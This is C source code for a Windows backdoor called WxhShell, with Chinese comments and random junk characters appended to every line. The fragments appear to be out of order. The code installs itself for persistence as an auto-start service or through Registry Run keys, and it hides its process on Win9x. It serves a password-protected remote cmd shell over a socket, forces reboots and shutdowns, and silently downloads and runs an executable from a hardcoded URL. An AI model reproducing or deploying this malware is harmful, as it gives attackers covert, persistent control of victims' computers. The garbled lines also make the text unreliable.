  case 'd': { E{QjmlXQ<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +]GP"yv-  
    if(Boot(SHUTDOWN)) q2OF-.rE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }}u`*&,g  
    else { f3^qO9R  
    closesocket(wsh); U>00B|<GJ  
    ExitThread(0); kGC*\?<LmR  
    } ^CM@VmPp  
    break; M,yxPHlN  
    } I,05'edCQ  
  // 获取shell +uj;00 D  
  case 's': { wDSwcNS  
    CmdShell(wsh); v-^<,|vm2f  
    closesocket(wsh); GMkni'pV  
    ExitThread(0); 8|$g"? CU  
    break; 9~2iA,xs  
  } osmCwM4O  
  // 退出 pHye8v4fvi  
  case 'x': { Cs,Cb2[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  _VM}]A  
    CloseIt(wsh); ;49sou  
    break; m6H+4@Z-;(  
    } @MoCEtt  
  // 离开 :cIPX%S  
  case 'q': { .wTb/x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;Xqi;EA  
    closesocket(wsh); PR AP~P&^  
    WSACleanup(); [3ggJcUgW>  
    exit(1); qF-Fc q  
    break; *-.`Q  
        } ]/3!t=La  
  } s jaaZx1  
  } <lU(9) L;&  
R#?atL$(  
  // 提示信息 LaZ @4/z!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DHyQ:0q  
} T-lP=KF=  
  } Uq x@9z(  
oK<H/76x  
  return; tNOOaj9mw  
} [#SO}'1n  
'PW/0k  
// shell模块句柄 JlawkA  
int CmdShell(SOCKET sock) 7L6^IK  
{ m(1ot M9  
STARTUPINFO si; foY]RkW9  
ZeroMemory(&si,sizeof(si)); SMU 8U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; > PL}7f&:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M1k_ldP  
PROCESS_INFORMATION ProcessInfo; xF YHv@g  
char cmdline[]="cmd"; Xk:3w,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q$s)(D  
  return 0; J-azBi  
} mi5bk>o  
/xr75|-8  
// 自身启动模式 `#r/L@QI  
int StartFromService(void) x>Dix1b:.  
{ 5p-vSWr !  
typedef struct hYA1N&yz@  
{ c=a;<,Rzb  
  DWORD ExitStatus; : Q2=t!  
  DWORD PebBaseAddress; usu{1&g  
  DWORD AffinityMask; q[Ey!h)xq  
  DWORD BasePriority; zW hzU|=8  
  ULONG UniqueProcessId; aW;)-0+  
  ULONG InheritedFromUniqueProcessId; t-iQaobF  
}   PROCESS_BASIC_INFORMATION; _`laP5~  
hv#LKyp%  
PROCNTQSIP NtQueryInformationProcess; &$#NV@  
vfVF^ WOd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )7AjRtb!/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _W,?_"[R=  
rJtk4hOF  
  HANDLE             hProcess; P.=Dd"La  
  PROCESS_BASIC_INFORMATION pbi; 4{ZVw/VP,-  
h CV(O2jL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JE@3UXg  
  if(NULL == hInst ) return 0; zP@\rZ@4  
onS4ZE3B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *13-)yfd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M0)ZJti  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fa </  
%+#l{\z  
  if (!NtQueryInformationProcess) return 0; O`PQ4Q*F  
#"H<k(-Cz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %RzkP}1>E  
  if(!hProcess) return 0; @kba^z  
Q'j00/K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 46 |LIc }  
=NPo<^Lae  
  CloseHandle(hProcess); h ^w# I  
S3QX{5t\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y8fel2;  
if(hProcess==NULL) return 0; MRK3Cey}%  
OKj\>3  
HMODULE hMod; *Ct ^jU7  
char procName[255]; P`_Q-vu  
unsigned long cbNeeded; a +9_sUq  
\!0~$?_)P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3cNr~`7  
o_ixdnc  
  CloseHandle(hProcess); <BBSC  
tqKX\N=5^  
if(strstr(procName,"services")) return 1; // 以服务启动 iRv \:.aQ.  
)o&}i3~Q  
  return 0; // 注册表启动 m8gU8a"(  
} ]*{tno  
'X_%m~}N  
// 主模块 \@^` G  
int StartWxhshell(LPSTR lpCmdLine) ^~bAixH^k  
{ H4M`^r@)'  
  SOCKET wsl; 4]%MrSjS  
BOOL val=TRUE; `{}DLaD9  
  int port=0; /q"8sj/  
  struct sockaddr_in door; 7Fb!;W#X  
E-?JHJloU  
  if(wscfg.ws_autoins) Install(); >bO}sx1?  
K2tOt7M!  
port=atoi(lpCmdLine); lXnv(3j3*s  
V r T0S  
if(port<=0) port=wscfg.ws_port; Eqx|k-<a  
j<w5xY  
  WSADATA data; _sCzee&uQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mP_c-qD |  
iTCY $)J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P Qi=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o'YK\L!p  
  door.sin_family = AF_INET; quq!Jswn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8ROZ]Xh,x  
  door.sin_port = htons(port); th{Ib@o  
=Zaw>p*H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #!4 HSBf  
closesocket(wsl); I5rAL\y-G  
return 1; -8t&&fIA  
} SMA' VU  
wPJA+  
  if(listen(wsl,2) == INVALID_SOCKET) { 88DMD"$B  
closesocket(wsl); gy5R"_MU  
return 1; &Z7NF|  
} !Bhs8eGr3  
  Wxhshell(wsl); #[~f 6s9D  
  WSACleanup(); }SS~uQ;8  
,mt=)Ac  
return 0; "Y=4Y;5q  
3rx 8"  
}  ;W@  
!q^2| %  
// 以NT服务方式启动 A$::|2~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h$$i@IO0  
{ >WY\P4)k  
DWORD   status = 0; z3yAb"1Hg  
  DWORD   specificError = 0xfffffff; ,T+.xB;Q@  
[|L~" BB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (:7Z-V2(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3lefB A7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vUJQ<D  
  serviceStatus.dwWin32ExitCode     = 0; [-3x*?Ju  
  serviceStatus.dwServiceSpecificExitCode = 0; }#`-mRaU  
  serviceStatus.dwCheckPoint       = 0; g+KuK`\N%  
  serviceStatus.dwWaitHint       = 0; WiF6*]oI  
V_=7q=9mV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p8E6_%Rw  
  if (hServiceStatusHandle==0) return; '77Gg  
\U HI%1^  
status = GetLastError(); xG,L*3c{o  
  if (status!=NO_ERROR) OH`|aqN  
{ zj#8@gbh+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -1]8f  
    serviceStatus.dwCheckPoint       = 0; U#(#U0s*-  
    serviceStatus.dwWaitHint       = 0; %I%OHs  
    serviceStatus.dwWin32ExitCode     = status; VP"C|j^I  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;:w0%>X^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *<ww~^a  
    return; 4@Xd(F_d  
  } j\uPOn8k  
>s>{+6e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Uc]sWcR  
  serviceStatus.dwCheckPoint       = 0; x I(X+d``  
  serviceStatus.dwWaitHint       = 0; Y;>D"C..  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j55OG~)  
} 5_Oxl6#  
p4wx&VLi  
// 处理NT服务事件,比如:启动、停止 w(!COu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) * o#P)H  
{ [^\HP] *Q{  
switch(fdwControl) _4X3g%nXl  
{  I8  
case SERVICE_CONTROL_STOP: !u=A9i!  
  serviceStatus.dwWin32ExitCode = 0; ac/<N%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4+B OS ~  
  serviceStatus.dwCheckPoint   = 0; ^ZDpG2(zk  
  serviceStatus.dwWaitHint     = 0; QlH,-]N$L  
  { <U2Un 0T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /"7_75 t  
  } ^wb$wtL('  
  return; PsyXt5Dk  
case SERVICE_CONTROL_PAUSE: k6^!G"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U3M;6j9`  
  break; =.t3|5U8  
case SERVICE_CONTROL_CONTINUE: C{FE*@U.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hta y-  
  break; })5I/   
case SERVICE_CONTROL_INTERROGATE: 7tU=5@M9D  
  break;  sf'+;  
}; GvT ~zNd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *T0!q#R  
} 3KN})*1  
nb #)$l  
// 标准应用程序主函数 KDJ-IXoU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fH ?s~X]  
{  [?moS!  
2D ' $  
// 获取操作系统版本 eBg:[4 4V  
OsIsNt=GetOsVer(); 71OQ?fc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XjU/7Q  
^,6c9Dxy  
  // 从命令行安装 j@Y'>3  
  if(strpbrk(lpCmdLine,"iI")) Install(); CP6xyXOlPB  
^;.&=3N,+  
  // 下载执行文件 L31#v$;4  
if(wscfg.ws_downexe) { ]5:0.$5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8\$ u/(DX  
  WinExec(wscfg.ws_filenam,SW_HIDE); EOzw&M];r  
} jLF,R7t  
mD go@ f  
if(!OsIsNt) { gEkH5|*Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 E}8wnrxf  
HideProc(); {9<c*0l  
StartWxhshell(lpCmdLine); +L|-W9"@3  
} %p8#pt\$7  
else w)xfP^M#  
  if(StartFromService()) i 3i  
  // 以服务方式启动 d9.~W5^fC  
  StartServiceCtrlDispatcher(DispatchTable); m-MfFEZ  
else "aJf W  
  // 普通方式启动 Q;0 g  
  StartWxhshell(lpCmdLine); 3\0,>L9ET@  
}BJR/r  
return 0; D;+sStZK3  
} +$ 0wBU  
4LkW`Sbm  
/=S\v<z  
&v g[k#5  
=========================================== 8m 5T  
-^&NwLEv=  
HAdDr!/`  
YzeNr*  
ID8u&:  
U\x $@J  
" 2su/I  
WADAp\&  
#include <stdio.h> ){$*<#&H  
#include <string.h> S$ Z?T  
#include <windows.h> }ISc^W) t  
#include <winsock2.h> =.ReM_.  
#include <winsvc.h> X}_Gk5q*  
#include <urlmon.h> #-8%g{  
pra0:oHN  
#pragma comment (lib, "Ws2_32.lib") o&:'MwU  
#pragma comment (lib, "urlmon.lib") {Xv0=P  
w>TTu: 7  
#define MAX_USER   100 // 最大客户端连接数 IT:8k5(L5j  
#define BUF_SOCK   200 // sock buffer r!y3VmJ'm  
#define KEY_BUFF   255 // 输入 buffer <7Ry"z6g;  
B2l5}"{ `  
#define REBOOT     0   // 重启 W*^_Ul|  
#define SHUTDOWN   1   // 关机 :'X:cL  
wL~-k  
#define DEF_PORT   5000 // 监听端口 HJt@m &H|  
yGvBQ2kYb  
#define REG_LEN     16   // 注册表键长度 x|GkXD3  
#define SVC_LEN     80   // NT服务名长度 nUf0TkA  
vX<^x2~9(  
// 从dll定义API G?<uw RV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,j e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f:KZP;/[c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \t?rHB3"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h8hyQd$!  
*1g3,NMA  
// wxhshell配置信息 xzz0uk5  
struct WSCFG { XS=f>e1<W  
  int ws_port;         // 监听端口 }0AoV&75  
  char ws_passstr[REG_LEN]; // 口令 @|EWif|  
  int ws_autoins;       // 安装标记, 1=yes 0=no BD?u|Fd,i:  
  char ws_regname[REG_LEN]; // 注册表键名 {wvBs87  
  char ws_svcname[REG_LEN]; // 服务名 8'#L+$O &N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ErxvGB(2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mKuY=#RP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <ZjT4><  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y_LFkZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hb3t|<z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 __|Y59J%  
bkFO4OZd  
}; /Csk"IfuO  
S9%ZeM +  
// default Wxhshell configuration z^u*e  
struct WSCFG wscfg={DEF_PORT, /B)`pF.n  
    "xuhuanlingzhe", YT}ZLx  
    1, ToM1#]4  
    "Wxhshell", g9@H4y6fe=  
    "Wxhshell", pch8A0JAl)  
            "WxhShell Service", <kKuis6h  
    "Wrsky Windows CmdShell Service", pMd!Jl#(N  
    "Please Input Your Password: ", X"g`hT"i  
  1, )>,ndKT~  
  "http://www.wrsky.com/wxhshell.exe", ?10L *PD@  
  "Wxhshell.exe" QzS=oiL  
    }; mjKu\7F  
$;Z0CG  
// 消息定义模块 .~X&BY>qP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KW(^-:wmr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oaG;i51!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5QP`2I_n  
char *msg_ws_ext="\n\rExit."; &[P(}??Y\  
char *msg_ws_end="\n\rQuit."; )3.=)?XW  
char *msg_ws_boot="\n\rReboot..."; [xo-ZDIoG  
char *msg_ws_poff="\n\rShutdown..."; {Kz!)uaC  
char *msg_ws_down="\n\rSave to "; ZC"a#rQ   
SvQ!n4 $  
char *msg_ws_err="\n\rErr!"; *yYeqm  
char *msg_ws_ok="\n\rOK!"; 8(g}/%1mt3  
V-dyeb  
char ExeFile[MAX_PATH]; _6-N+FI  
int nUser = 0; HT7I~]W  
HANDLE handles[MAX_USER]; -f["1-A  
int OsIsNt;  lofP$  
S/dj])g  
SERVICE_STATUS       serviceStatus; yM('!iG*/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GD% qrK?  
j937tn!Q  
// 函数声明 .f&Z+MQ  
int Install(void); Hi nJ}MF  
int Uninstall(void); T&'LQZM8  
int DownloadFile(char *sURL, SOCKET wsh); CbFO9q  
int Boot(int flag); :+f6:3  
void HideProc(void); +]p/.- Uw  
int GetOsVer(void); )M* Sg?L  
int Wxhshell(SOCKET wsl); %xA-j]%?ep  
void TalkWithClient(void *cs); %k @4}M>  
int CmdShell(SOCKET sock); $}B&u)  
int StartFromService(void); 7()5\ae@q'  
int StartWxhshell(LPSTR lpCmdLine); !m8T< LtMl  
2=,d.1E3d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vg}+w Nt5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cN`P5xP'  
VFq7nV/O  
// 数据结构和表定义 IV~5Y{(l  
SERVICE_TABLE_ENTRY DispatchTable[] = XZrzG P(  
{ V/tl-;W  
{wscfg.ws_svcname, NTServiceMain}, ki|OowP  
{NULL, NULL} vI]V@i l  
}; lib}dk  
ET(/h/r  
// 自我安装 cZ3A~dTOR  
int Install(void) A3|2;4t  
{ mbHMy[R  
  char svExeFile[MAX_PATH]; NfZC}  
  HKEY key; +xQj-r)-  
  strcpy(svExeFile,ExeFile); R)-~5"}~  
>0?ph<h1[q  
// 如果是win9x系统,修改注册表设为自启动 qv[w 1;U"  
if(!OsIsNt) { GJ:oUi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [8>#b_>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J;ycAF~  
  RegCloseKey(key); z{/#/,V5D4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -.K'rW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6=96^o*  
  RegCloseKey(key); !-t"}^)  
  return 0; f|Nkk*9$  
    } ? M.'YB2  
  } }\1V%c  
} N'0nt]&a  
else { ,YRBYK:  
pZ]&M@Ijp  
// 如果是NT以上系统,安装为系统服务 <) -]'@*c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5=  V29  
if (schSCManager!=0) !Ej?9LHo  
{ [AYJ(H/  
  SC_HANDLE schService = CreateService &~'i,v|E  
  ( O^8=Xj#}  
  schSCManager, 92~$Qa\S!  
  wscfg.ws_svcname, (a"/cH  
  wscfg.ws_svcdisp, @2`nBtk  
  SERVICE_ALL_ACCESS, ng9 _c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wu/:ES)C  
  SERVICE_AUTO_START, `|mV~F|  
  SERVICE_ERROR_NORMAL, z\YLO%Mm  
  svExeFile, Mm!;+bM%  
  NULL, op3a*KG  
  NULL, k> ~D  
  NULL, $01~G?:]`  
  NULL, 9*XT|B  
  NULL AmJdZs|/  
  ); J+wnrGoK  
  if (schService!=0) ` l %,4qR  
  { {REGoe=W%  
  CloseServiceHandle(schService); >h.HW  
  CloseServiceHandle(schSCManager); rr>6;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K5z<n0X ~  
  strcat(svExeFile,wscfg.ws_svcname); )~`UDaj_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Ud!tK*H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +pQ3bX  
  RegCloseKey(key); A)&CI6(  
  return 0; w|NId,#f  
    } M!X^2  
  } (EH}lh }%  
  CloseServiceHandle(schSCManager); @z:E]O}  
} L uW""P/  
} Ucz=\dO1  
}PM7CZSq  
return 1; 40z1Qkmaey  
} yCkX+{ki  
P6({wx  
// 自我卸载 \jZ)r>US"  
int Uninstall(void) ]@~%i=. 7  
{ U }I#;*F  
  HKEY key; "p+JME(  
&he:_p$x  
if(!OsIsNt) { xNa66A-8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qnqS^K,':  
  RegDeleteValue(key,wscfg.ws_regname); Z$%!H7w  
  RegCloseKey(key); (W}DMcuSd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /SyAjZ  
  RegDeleteValue(key,wscfg.ws_regname); G<]@nP{P  
  RegCloseKey(key); f8G<5_!K_  
  return 0; -9Ygn_M  
  } aj=-^iGG  
} BkY#wJ'  
} h iK}&  
else { P@% L.y B  
jy_4W!4a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C0 /G1\  
if (schSCManager!=0) X":2o|R  
{ d= ?lPEzSA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z?WVSJUVf  
  if (schService!=0) s3'kzwX  
  { Fc=6 *.hy  
  if(DeleteService(schService)!=0) { 7]~|dc(  
  CloseServiceHandle(schService); <9T,J"y  
  CloseServiceHandle(schSCManager); b `bg`}x  
  return 0; +;=>&XR0m  
  } /c6]DQ<?  
  CloseServiceHandle(schService); )*Wz5x  
  } LI^D\  
  CloseServiceHandle(schSCManager); -BWWaL  
} cl |}0Q5  
} IRTWmT jT  
I3}]MAE  
return 1; 8iM:ok  
} =kCiJ8q|  
}^P"R[+4u  
// 从指定url下载文件 `cIeqp  
int DownloadFile(char *sURL, SOCKET wsh) E,cQ9}/  
{ yU"#2 *C  
  HRESULT hr; P% 8U  
char seps[]= "/"; P>$+XrTE  
char *token; Om_ "X6  
char *file; hh2&FI  
char myURL[MAX_PATH]; MBnxF^c&P  
char myFILE[MAX_PATH]; \ Co Z+  
hZ.](rD  
strcpy(myURL,sURL);  kKY,&Fn-  
  token=strtok(myURL,seps); LabI5+g  
  while(token!=NULL) 3#GIZ L}!x  
  {  *I}_g4  
    file=token; hS>=p O+y  
  token=strtok(NULL,seps); oel?we6  
  } wD W/?lT&  
M(uJ'Ud/!  
GetCurrentDirectory(MAX_PATH,myFILE); 73_-7'^mQ  
strcat(myFILE, "\\"); de[NIDA;`  
strcat(myFILE, file); 0-57_";%Q  
  send(wsh,myFILE,strlen(myFILE),0); zQUNvPYM  
send(wsh,"...",3,0); P"Z1K5>2L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g@pK9R%wH<  
  if(hr==S_OK) J HV  
return 0; f hNJB0  
else !89hO4 0r  
return 1; gvL*]U7  
-KfMK N~  
} Og8%SnEpMI  
JXR]G  
// 系统电源模块 1/6}E]-F  
int Boot(int flag) DF-.|-^9I  
{ sP~xe(  
  HANDLE hToken; J,s:CBCGL  
  TOKEN_PRIVILEGES tkp; FMzG6nrdBN  
6&L;Sw#Dg  
  if(OsIsNt) { NbCIL8f]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +}:2DXy@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P{Q$(rOe  
    tkp.PrivilegeCount = 1; W7{^/s5r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B|{E[]iK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VW;E14  
if(flag==REBOOT) { M a3}w-=;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H6Gs&yk3  
  return 0; h##U=`x3  
} n</Rd=  
else { fN:FD`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S@y?E}  
  return 0; {A5$8)nl|  
} ;lt8~ea  
  } uD[T l  
  else { 09{s'  
if(flag==REBOOT) { U!E}(9 tb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Uu!_n}tNF  
  return 0; N^k& 8  
} 7{9M ^.}  
else { ic l]H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =EU;%f  
  return 0; zZey  
} d#W^S[[  
} vj]h[=:  
NgF"1E  
return 1; bQ&%6'ck  
} pd.unEWwF  
BxZ7Bk  
// win9x进程隐藏模块 kpNp}b8']  
void HideProc(void) tZFpxyF  
{ 'Asr,[]?  
@xBO[v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yL -}E  
  if ( hKernel != NULL ) O`aNNy  
  { \MPbG$ ^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2]FRIy d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tCPK_Wws?Z  
    FreeLibrary(hKernel); $Zkk14  
  } @gM}&G08  
xVN!w\0  
return; 3Wx\Liw,  
} C@<gCMj,"  
#7}YSfm^6  
// 获取操作系统版本 xr7M#n  
int GetOsVer(void) F[W0gjUc  
{ z+CX$.Z  
  OSVERSIONINFO winfo; <:mK&qu f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <(yAat$H  
  GetVersionEx(&winfo); Q("4R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `O;4 b#!g  
  return 1; @P i]kWW})  
  else 2^w{Hcf  
  return 0; .[3C  
} Ttp%U8-LJR  
5w+&plIJ  
// 客户端句柄模块 c~OvoTF,  
int Wxhshell(SOCKET wsl) @D `j   
{ H<P d&  
  SOCKET wsh; hb %F"Q  
  struct sockaddr_in client; @O-\s q  
  DWORD myID; c++q5bg@)  
JZE@W -2  
  while(nUser<MAX_USER) j%J>LeTca  
{ ;18u02z^  
  int nSize=sizeof(client); /Ei e5p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |2rOV&@l9  
  if(wsh==INVALID_SOCKET) return 1; 'C#[iRG4  
wjgFe]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \'iy(8i  
if(handles[nUser]==0) ]!a?Lr  
  closesocket(wsh); L =M'QJl9  
else U;"J8  
  nUser++; fL]jk1.Xv-  
  } ]^i^L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]9JH.fF  
E\cX  
  return 0; 6o5,d]  
} dO,; k +  
,e'"SVQc  
// 关闭 socket Np+pJc1  
void CloseIt(SOCKET wsh) uY/C iTWr  
{ {zLgLBM  
closesocket(wsh); ^!n|j]aw  
nUser--; ?[Ma" l>  
ExitThread(0); 6:`[Fi  
} &2O~BIRE  
>m{>0k(^`  
// 客户端请求句柄 >J)4e~9EJ2  
void TalkWithClient(void *cs) 'iDkAmvD  
{ U\-.u3/  
z^WY5~?  
  SOCKET wsh=(SOCKET)cs; h(4\k?C5  
  char pwd[SVC_LEN]; jpoNTl'  
  char cmd[KEY_BUFF]; rls{~ZRl  
char chr[1]; u]ps-R_$G  
int i,j; N%1nii  
UdA,.C0  
  while (nUser < MAX_USER) { v$g\]QS p  
)@y7 qb  
if(wscfg.ws_passstr) { 02T'B&&~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !C^>tmqS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IR;3{o  
  //ZeroMemory(pwd,KEY_BUFF); *&R|0I{>  
      i=0; V)ag ss w?  
  while(i<SVC_LEN) { v$5D&Tv  
{ 9\/aXPS  
  // 设置超时 2t45/:,  
  fd_set FdRead; ^uVPN1}b^@  
  struct timeval TimeOut; b.kV>K"X3  
  FD_ZERO(&FdRead); H\9ePo\b~  
  FD_SET(wsh,&FdRead); P_75-0G  
  TimeOut.tv_sec=8; i*A_Po  
  TimeOut.tv_usec=0; GxC\Nj#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HEhBOER?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )p:+!sX(  
&n0Ag]$P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Mxu,A  
  pwd=chr[0]; \g)?7>M|  
  if(chr[0]==0xd || chr[0]==0xa) { :m/qR74+"  
  pwd=0; eIN0 T;1T  
  break; P7l3ZH( g  
  } t -fmA?\  
  i++; pr,1pqiAf  
    } AI9922}*  
TgJ6O,0  
  // 如果是非法用户,关闭 socket \$F#bIjC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z3>4 xn{  
} ap"pQ[t;  
EVA&By6_k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u),.q7(m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5l%g3F  
}Gx@1)??  
while(1) { W{j(=<|<  
N%e^2O)  
  ZeroMemory(cmd,KEY_BUFF); ]&P 4QT)f  
*Ue#Sade  
      // 自动支持客户端 telnet标准   2:e7'}\D.  
  j=0; b' ~WS4xlD  
  while(j<KEY_BUFF) { .0;\cv4}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :QXKG8^  
  cmd[j]=chr[0]; 7+hc?H[&'  
  if(chr[0]==0xa || chr[0]==0xd) { ua_,c\iL  
  cmd[j]=0; W%o! m,zFM  
  break; ^<   
  } *Gj`1# Z$  
  j++; Ag8lI+ h  
    } 1Y~'U =9  
8|5+\1!#/)  
  // 下载文件 6Lg#co}9  
  if(strstr(cmd,"http://")) { 3 +`,'Q9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fRkx ^u P  
  if(DownloadFile(cmd,wsh)) 6k<3,`VV|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -mLu!32I<  
  else X gtn}7N.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1|:;~9n<t  
  } `49!di[  
